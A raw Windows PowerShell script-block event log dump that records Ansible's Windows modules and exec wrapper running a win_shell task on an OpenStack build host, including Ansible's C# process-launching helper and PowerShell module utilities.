out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = c1d4988a-1a7e-4c98-afab-f5dcca1fd15e
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 9687b5bf-cdbd-4c69-a83c-f208a3d1d126
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 1693 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 3612 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:15 AM | dfeadd90-ee34-0001-f128-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: ad998423-ae5b-408a-b3dd-e53186b93e3e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1692 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 4380 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:15 AM | dfeadd90-ee34-0000-70ec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: a57e7418-2bfb-4bff-a240-45ab64bd735e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1691 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 4380 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:15 AM | dfeadd90-ee34-0001-df28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 7c4cd72b-a66a-43e1-82e7-cfa522eb7de9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1690 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 4380 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:14 AM | dfeadd90-ee34-0002-a7fc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 5):
c3RkZXJyKSB7CiAgICBUcnkgewogICAgICAgICMgTkI6IHRoaXMgcmVnZXggaXNuJ3QgcGVyZmVjdCwgYnV0IGlzIGRlY2VudCBhdCBmaW5kaW5nIENMSVhNTCBhbW9uZ3N0IG90aGVyIHN0ZGVyciBub2lzZQogICAgICAgIElmKCRyYXdfc3RkZXJyIC1tYXRjaCAiKD9zKSg/PHByZW5vaXNlMT4uKikjPCBDTElYTUwoPzxwcmVub2lzZTI+LiopKD88Y2xpeG1sPjxPYmpzLis8L09ianM+KSg/PHBvc3Rub2lzZT4uKikiKSB7CiAgICAgICAgICAgICRjbGl4bWwgPSBbeG1sXSRtYXRjaGVzWyJjbGl4bWwiXQoKICAgICAgICAgICAgJG1lcmdlZF9zdGRlcnIgPSAiezB9ezF9ezJ9ezN9IiAtZiBAKAogICAgICAgICAgICAgICAkbWF0Y2hlc1sicHJlbm9pc2UxIl0sCiAgIC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lID0gW0RhdGVUaW1lXTo6VXRjTm93CiRyZXN1bHQuc3RhcnQgPSAkc3RhcnRfZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "edit-constraints c:\\openstack\\build\\\\requirements\\\\upper-constraints.txt -- networking-hyperv \"-e file:///C:/openstack/build/networking-hyperv#egg=networking-hyperv\"", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
